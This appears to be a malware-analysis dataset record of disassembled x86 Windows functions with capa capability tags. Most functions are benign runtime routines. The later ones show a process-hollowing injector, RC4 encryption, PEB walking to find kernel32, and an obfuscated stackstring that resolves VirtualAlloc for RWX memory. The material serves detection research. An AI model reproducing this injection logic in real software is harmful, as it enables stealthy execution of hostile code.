joyce8/EMBER2024-capa huggingface dataset:
Function at 0x58df1c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax]
dec al
je 0x58df4d
dec al
je 0x58df88
dec al
je 0x58dfcd
dec al
je 0x58e036
jmp 0x58e0c0
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x58e0c0
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x58df5d
jmp 0x58e0c0
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x58e0c0
mov esi, 1
movzx eax, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x58df98
jmp 0x58e0c0
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x58e0c0
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov ecx, esi
dec ecx
mov edx, dword [ebx + 0x24]
cmp ecx, edx
jae 0x58dffc
xor ebp, ebp
jmp 0x58e00c
mov ecx, esi
sub ecx, edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx ebp, byte [edx + ecx]
add eax, ebp
sar eax, 1
jns 0x58e015
adc eax, 0
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [edx + esi]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x58dfdd
jmp 0x58e0c0
xor ebp, ebp
xor eax, eax
mov dword [esp + 4], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x58e0c0
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jb 0x58e08f
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx ebp, byte [ecx + edx]
movzx edx, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 4], edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
movzx ecx, byte [esp + 4]
push eax
mov eax, ebp
pop edx
call fcn.0058afac
add al, byte [esp]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x58e04a
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x5a96c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x5a96dc
call fcn.005ab41c
pop ebx
pop ebp
ret
test byte [ebp + 0xc], 2
je 0x5a96fb
test bl, 1
je 0x5a96fb
call fcn.005b3224
mov dword [eax], 5
or eax, 0xffffffff
pop ebx
pop ebp
ret
xor eax, eax
pop ebx
pop ebp
ret
Function at 0x5a98dc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
call fcn.005aaf98
test byte [ebp + 0xd], 0xc0
jne 0x5a9900
mov eax, dword [0x5de760]
mov edx, dword [eax]
and edx, 0xc000
or dword [ebp + 0xc], edx
test byte [ebp + 0xd], 0x80
jne 0x5a990d
or dword [ebp + 0xc], 0x4000
mov ecx, dword [ebp + 0xc]
and ecx, 0x700
cmp ecx, 0x500
jg 0x5a993a
je 0x5a994c
sub ecx, 0x100
je 0x5a995e
sub ecx, 0x100
je 0x5a9967
sub ecx, 0x100
je 0x5a9955
jmp 0x5a9970
sub ecx, 0x600
je 0x5a9967
sub ecx, 0x100
je 0x5a994c
jmp 0x5a9970
mov dword [ebp - 8], 1
jmp 0x5a9977
mov dword [ebp - 8], 2
jmp 0x5a9977
mov dword [ebp - 8], 4
jmp 0x5a9977
mov dword [ebp - 8], 5
jmp 0x5a9977
mov dword [ebp - 8], 3
test byte [ebp + 0xd], 1
je 0x5a999e
lea eax, [ebp + 0x10]
add eax, 4
mov eax, dword [eax - 4]
and eax, dword [0x5de1d8]
test al, 0x80
je 0x5a9997
mov ebx, 0x80
jmp 0x5a99b0
mov ebx, 1
jmp 0x5a99b0
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x5a99b0
xor ebx, ebx
mov eax, dword [ebp + 0xc]
and eax, 3
sub eax, 1
jb 0x5a99c2
je 0x5a99cb
dec eax
je 0x5a99d4
jmp 0x5a99dd
mov dword [ebp - 4], SysStringLen
jmp 0x5a99ec
mov dword [ebp - 4], 0x40000000
jmp 0x5a99ec
mov dword [ebp - 4], 0xc0000000
jmp 0x5a99ec
push 1
call fcn.005ab3b0
pop ecx
mov ebx, eax
jmp 0x5a9aec
mov eax, dword [ebp + 0xc]
and eax, 0x70
sub eax, 0x10
je 0x5a9a08
sub eax, 0x10
je 0x5a9a0c
sub eax, 0x10
je 0x5a9a13
sub eax, 0x10
je 0x5a9a1a
jmp 0x5a9a1a
xor edi, edi
jmp 0x5a9a1f
mov edi, 1
jmp 0x5a9a1f
mov edi, 2
jmp 0x5a9a1f
mov edi, 3
test byte [ebp + 0xc], 4
je 0x5a9a37
cmp dword [ebp - 4], 0x80000000
jne 0x5a9a35
mov edi, 1
jmp 0x5a9a37
xor edi, edi
mov dword [ebp - 0x14], 0xc
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [ebp + 0xc]
and edx, 0x80
cmp edx, 1
sbb ecx, ecx
neg ecx
mov dword [ebp - 0xc], ecx
push 0
push ebx
mov ecx, dword [ebp - 8]
push ecx
lea eax, [ebp - 0x14]
push eax
push edi
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp eax, 0xffffffff
jne 0x5a9aa5
call sub.KERNEL32.DLL_GetLastError
mov ebx, eax
and ebx, 0xffff
cmp ebx, 0x6e
jne 0x5a9a9a
test byte [ebp + 0xd], 1
je 0x5a9a95
mov ebx, 0x50
jmp 0x5a9a9a
mov ebx, 2
push ebx
call fcn.005ab3b0
pop ecx
mov ebx, eax
jmp 0x5a9aec
mov edi, esi
push edi
call fcn.005a9840
pop ecx
test eax, eax
je 0x5a9ab9
or dword [ebp + 0xc], 0x2000
test bl, 1
jne 0x5a9ac5
or dword [ebp + 0xc], 0x100
and dword [ebp + 0xc], 0xfffff8ff
mov eax, dword [ebp + 0xc]
push eax
push edi
call fcn.005ab0d8
add esp, 8
mov ebx, eax
inc eax
jne 0x5a9aec
push 4
call fcn.005ab3b0
pop ecx
push esi
call sub.KERNEL32.DLL_CloseHandle
call fcn.005aafcc
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5a9cb0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
call fcn.005aaf98
test byte [ebp + 0xd], 0xc0
jne 0x5a9cd4
mov eax, dword [0x5de760]
mov edx, dword [eax]
and edx, 0xc000
or dword [ebp + 0xc], edx
test byte [ebp + 0xd], 0x80
jne 0x5a9ce1
or dword [ebp + 0xc], 0x4000
mov ecx, dword [ebp + 0xc]
and ecx, 0x700
cmp ecx, 0x500
jg 0x5a9d0e
je 0x5a9d20
sub ecx, 0x100
je 0x5a9d32
sub ecx, 0x100
je 0x5a9d3b
sub ecx, 0x100
je 0x5a9d29
jmp 0x5a9d44
sub ecx, 0x600
je 0x5a9d3b
sub ecx, 0x100
je 0x5a9d20
jmp 0x5a9d44
mov dword [ebp - 8], 1
jmp 0x5a9d4b
mov dword [ebp - 8], 2
jmp 0x5a9d4b
mov dword [ebp - 8], 4
jmp 0x5a9d4b
mov dword [ebp - 8], 5
jmp 0x5a9d4b
mov dword [ebp - 8], 3
test byte [ebp + 0xd], 1
je 0x5a9d72
lea eax, [ebp + 0x10]
add eax, 4
mov eax, dword [eax - 4]
and eax, dword [0x5de1d8]
test al, 0x80
je 0x5a9d6b
mov ebx, 0x80
jmp 0x5a9d84
mov ebx, 1
jmp 0x5a9d84
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_GetFileAttributesW
mov ebx, eax
cmp eax, 0xffffffff
jne 0x5a9d84
xor ebx, ebx
mov eax, dword [ebp + 0xc]
and eax, 3
sub eax, 1
jb 0x5a9d96
je 0x5a9d9f
dec eax
je 0x5a9da8
jmp 0x5a9db1
mov dword [ebp - 4], SysStringLen
jmp 0x5a9dc0
mov dword [ebp - 4], 0x40000000
jmp 0x5a9dc0
mov dword [ebp - 4], 0xc0000000
jmp 0x5a9dc0
push 1
call fcn.005ab3b0
pop ecx
mov ebx, eax
jmp 0x5a9ec0
mov eax, dword [ebp + 0xc]
and eax, 0x70
sub eax, 0x10
je 0x5a9ddc
sub eax, 0x10
je 0x5a9de0
sub eax, 0x10
je 0x5a9de7
sub eax, 0x10
je 0x5a9dee
jmp 0x5a9dee
xor edi, edi
jmp 0x5a9df3
mov edi, 1
jmp 0x5a9df3
mov edi, 2
jmp 0x5a9df3
mov edi, 3
test byte [ebp + 0xc], 4
je 0x5a9e0b
cmp dword [ebp - 4], 0x80000000
jne 0x5a9e09
mov edi, 1
jmp 0x5a9e0b
xor edi, edi
mov dword [ebp - 0x14], 0xc
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [ebp + 0xc]
and edx, 0x80
cmp edx, 1
sbb ecx, ecx
neg ecx
mov dword [ebp - 0xc], ecx
push 0
push ebx
mov ecx, dword [ebp - 8]
push ecx
lea eax, [ebp - 0x14]
push eax
push edi
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.DLL_CreateFileW
mov esi, eax
cmp eax, 0xffffffff
jne 0x5a9e79
call sub.KERNEL32.DLL_GetLastError
mov ebx, eax
and ebx, 0xffff
cmp ebx, 0x6e
jne 0x5a9e6e
test byte [ebp + 0xd], 1
je 0x5a9e69
mov ebx, 0x50
jmp 0x5a9e6e
mov ebx, 2
push ebx
call fcn.005ab3b0
pop ecx
mov ebx, eax
jmp 0x5a9ec0
mov edi, esi
push edi
call fcn.005a9840
pop ecx
test eax, eax
je 0x5a9e8d
or dword [ebp + 0xc], 0x2000
test bl, 1
jne 0x5a9e99
or dword [ebp + 0xc], 0x100
and dword [ebp + 0xc], 0xfffff8ff
mov eax, dword [ebp + 0xc]
push eax
push edi
call fcn.005ab0d8
add esp, 8
mov ebx, eax
inc eax
jne 0x5a9ec0
push 4
call fcn.005ab3b0
pop ecx
push esi
call sub.KERNEL32.DLL_CloseHandle
call fcn.005aafcc
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x5af0c0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea eax, [ebp - 0x200]
push eax
push 0x1001
mov edx, dword [ebx + 4]
push edx
call sub.KERNEL32.DLL_GetLocaleInfoA
push str._._n
lea ecx, [ebp - 0x200]
push ecx
call fcn.005a8410
add esp, 8
lea ecx, [ebp - 0x200]
push ecx
call fcn.005a84c0
pop ecx
mov edx, pe_nt_image_headers32
sub edx, eax
push edx
lea eax, [ebp - 0x200]
push eax
call fcn.005a84c0
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
push 0x1002
mov eax, dword [ebx + 4]
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
push 0x5df48d
lea ecx, [ebp - 0x200]
push ecx
call fcn.005a8410
add esp, 8
push 0xa
lea ecx, [ebp - 0x200]
push ecx
call fcn.005a84c0
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
mov eax, dword [ebx]
push eax
call fcn.005b07fc
add esp, 0xc
cmp dword [ebx + 0x24], 0
jne 0x5af1d1
push esi
call fcn.005a84c0
pop ecx
mov edi, eax
lea eax, [ebp - 0x200]
push eax
call fcn.005a84c0
pop ecx
add edi, eax
add edi, 3
push edi
call fcn.005a7590
pop ecx
mov edi, eax
mov dword [ebx + 0x24], edi
test edi, edi
jne 0x5af1a8
xor eax, eax
jmp 0x5af258
push esi
call fcn.005a84c0
pop ecx
push eax
lea edx, [ebp - 0x200]
push edx
call fcn.005a84c0
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push 0
push edi
call fcn.005a833f
add esp, 0xc
jmp 0x5af211
mov edi, dword [ebx + 0x24]
push edi
call fcn.005a84c0
pop ecx
push eax
push esi
call fcn.005a84c0
pop ecx
pop edx
add edx, eax
push edx
lea eax, [ebp - 0x200]
push eax
call fcn.005a84c0
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push edi
call fcn.005a75b0
add esp, 8
mov dword [ebx + 0x24], eax
cmp dword [ebx + 0x24], 0
jne 0x5af211
xor eax, eax
jmp 0x5af258
push esi
mov edx, dword [ebx + 0x24]
push edx
call fcn.005a8410
add esp, 8
push 0x5df48f
mov ecx, dword [ebx + 0x24]
push ecx
call fcn.005a8410
add esp, 8
lea ecx, [ebp - 0x200]
push ecx
mov eax, dword [ebx + 0x24]
push eax
call fcn.005a8410
add esp, 8
push 0x5df491
mov edx, dword [ebx + 0x24]
push edx
call fcn.005a8410
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x5b31b8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
test eax, eax
jne 0x5b31e5
jmp 0x5b321c
call fcn.005b3168
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.005a84c0
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.005a84c0
pop ecx
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x5b32a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff7c
cmp dword [0x5dfb80], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x5b337a
cmp dword [0x5dfb7c], 0
jne 0x5b337a
cmp dword [0x5dfd9c], 0
je 0x5b3334
push 0x80
lea eax, [ebp - 0x84]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x84]
push edx
call fcn.005b2c70
add esp, 8
mov ebx, eax
test eax, eax
jne 0x5b331a
push 0x3a
lea edx, [ebp - 0x84]
push edx
call fcn.005b2c70
add esp, 8
mov ebx, eax
test eax, eax
jne 0x5b331a
lea ebx, [ebp - 0x84]
jmp 0x5b331b
inc ebx
call fcn.005b3258
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.USER32.DLL_MessageBoxA
jmp 0x5b33b5
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x5dfb84
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.005a84c0
pop ecx
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x5dfb87
push ebx
call sub.KERNEL32.DLL_WriteFile
jmp 0x5b33b5
cmp dword [0x5dfb7c], 0
je 0x5b3394
cmp dword [0x5dfb7c], 0xffffffff
je 0x5b33b5
push esi
call dword [0x5dfb7c]
pop ecx
mov eax, dword [0x5dfb80]
test eax, eax
je 0x5b33b5
cmp dword [0x5dfb80], 0xffffffff
je 0x5b33b5
cmp byte [eax], 0
je 0x5b33b5
push esi
push eax
call fcn.005b31b8
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401026
xor eax, eax
pop esi
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
mov dword [0x4030c8], eax
jne 0x40103d
xor eax, eax
pop esi
ret
mov ecx, dword [0x4030c4]
push eax
push ecx
call sub.MSVCRT.dll_realloc
add esp, 8
mov dword [0x4030c4], eax
test eax, eax
jne 0x401058
pop esi
ret
mov ecx, dword [0x4030c8]
lea edx, [esp + 8]
push 0
push edx
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x4030c4]
mov dword [0x4030cc], eax
cmp word [eax], 0x5a4d
je 0x401093
push eax
call sub.MSVCRT.dll_free
add esp, 4
xor eax, eax
pop esi
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
mov dword [0x4030d0], ecx
cmp dword [ecx], 0x4550
je 0x4010b3
push eax
call sub.MSVCRT.dll_free
add esp, 4
xor eax, eax
pop esi
ret
mov eax, 1
pop esi
ret

Function at 0x4010c0
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x404
lea ecx, [esp + 4]
push ebx
push ebp
push esi
xor esi, esi
push edi
xor eax, eax
mov dword [ecx], eax
inc eax
add ecx, 4
cmp eax, 0x100
jl 0x4010d2
mov ebx, dword [esp + 0x424]
mov ebp, dword [esp + 0x41c]
xor ecx, ecx
lea edi, [esp + 0x14]
mov eax, ecx
xor edx, edx
div ebx
xor eax, eax
mov al, byte [edx + ebp]
mov edx, dword [edi]
add eax, edx
add esi, eax
and esi, 0x800000ff
jns 0x401114
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [edi]
mov eax, dword [esp + esi*4 + 0x14]
mov byte [esp + 0x10], dl
mov dword [edi], eax
mov edx, dword [esp + 0x10]
add edi, 4
and edx, 0xff
inc ecx
cmp ecx, 0x100
mov dword [esp + esi*4 + 0x14], edx
jl 0x4010f3
mov eax, dword [esp + 0x420]
xor edx, edx
test eax, eax
jbe 0x4011c2
mov ebp, dword [esp + 0x418]
inc ecx
and ecx, 0x800000ff
jns 0x40115f
dec ecx
or ecx, 0xffffff00
inc ecx
mov edi, dword [esp + ecx*4 + 0x14]
add esi, edi
and esi, 0x800000ff
jns 0x401175
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esp + ecx*4 + 0x14]
mov edi, dword [esp + esi*4 + 0x14]
mov byte [esp + 0x10], bl
mov dword [esp + ecx*4 + 0x14], edi
mov edi, dword [esp + 0x10]
and edi, 0xff
mov dword [esp + esi*4 + 0x14], edi
mov ebx, dword [esp + ecx*4 + 0x14]
add ebx, edi
and ebx, 0x800000ff
jns 0x4011a9
dec ebx
or ebx, 0xffffff00
inc ebx
mov bl, byte [esp + ebx*4 + 0x14]
xor byte [edx + ebp], bl
inc edx
cmp edx, eax
jb 0x40114e
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x404
ret
mov eax, dword [esp + 0x418]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x404
ret
Function at 0x4011e0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header

Disassembly:
sub esp, 0x338
push ebx
mov ebx, dword [esp + 0x344]
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x30]
rep stosd dword es:[edi], eax
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x74], 0x10007
mov dword [0x4030cc], ebx
cmp word [ebx], 0x5a4d
jne 0x4013c0
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov dword [0x4030d0], eax
cmp dword [eax], 0x4550
jne 0x4013c0
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.CreateProcessA
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.NtUnmapViewOfSection
push str.ntdll.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.VirtualAllocEx
push str.kernel32.dll
mov dword [esp + 0x38], eax
call esi
push eax
call edi
push str.WriteProcessMemory
push str.kernel32.dll
mov dword [esp + 0x24], eax
call esi
push eax
call edi
push str.GetThreadContext
push str.kernel32.dll
mov ebp, eax
call esi
push eax
call edi
push str.SetThreadContext
push str.kernel32.dll
mov dword [esp + 0x3c], eax
call esi
push eax
call edi
push str.ResumeThread
push str.kernel32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
mov dword [esp + 0x18], eax
lea eax, [esp + 0x20]
mov edx, dword [esp + 0x34c]
lea ecx, [esp + 0x38]
push eax
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push edx
push 0
call dword [esp + 0x3c]
mov eax, dword [0x4030d0]
mov edx, dword [esp + 0x20]
mov ecx, dword [eax + 0x34]
push ecx
push edx
call dword [esp + 0x38]
mov eax, dword [0x4030d0]
push 0x40
push 0x3000
mov ecx, dword [eax + 0x50]
mov edx, dword [eax + 0x34]
mov eax, dword [esp + 0x28]
push ecx
push edx
push eax
call dword [esp + 0x30]
mov eax, dword [0x4030d0]
push 0
mov ecx, dword [eax + 0x54]
push ecx
push ebx
mov edx, dword [eax + 0x34]
mov eax, dword [esp + 0x2c]
push edx
push eax
call ebp
mov ecx, dword [0x4030d0]
xor esi, esi
cmp word [ecx + 6], si
jbe 0x401385
xor edi, edi
mov edx, dword [0x4030cc]
push 0
mov eax, dword [edx + 0x3c]
add eax, edi
lea eax, [eax + ebx + 0xf8]
mov dword [0x4030d4], eax
mov edx, dword [eax + 0x10]
push edx
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add edx, ebx
push edx
mov edx, dword [ecx + 0x34]
mov ecx, dword [esp + 0x2c]
add eax, edx
push eax
push ecx
call ebp
mov ecx, dword [0x4030d0]
xor edx, edx
inc esi
add edi, 0x28
mov dx, word [ecx + 6]
cmp esi, edx
jl 0x40133e
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x7c]
push eax
push ecx
call dword [esp + 0x3c]
mov eax, dword [0x4030d0]
mov ecx, dword [esp + 0x24]
mov edx, dword [eax + 0x34]
mov edi, dword [eax + 0x28]
lea eax, [esp + 0x7c]
add edx, edi
push eax
push ecx
mov dword [esp + 0x134], edx
call dword [esp + 0x18]
mov edx, dword [esp + 0x24]
push edx
call dword [esp + 0x1c]
pop esi
pop ebp
pop edi
pop ebx
add esp, 0x338
ret
Function at 0x40cfa9
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x40d05d
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0040cf39
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x40d036
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40d069
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x40d084
test ebp, ebp
je 0x40d084
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x40d08c
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x40d0cc
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x40d128
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x40d123
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40d10e
test dl, dl
je 0x40d10a
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40d10e
add ecx, 2
add eax, 2
test dl, dl
jne 0x40d0ee
xor eax, eax
jmp 0x40d113
sbb eax, eax
or eax, 1
test eax, eax
je 0x40d132
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x40d0db
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x40d149
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.0040cfa9
test eax, eax
jne 0x40d161
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0040d069
mov esi, eax
test esi, esi
jne 0x40d197
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x40d1b1
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret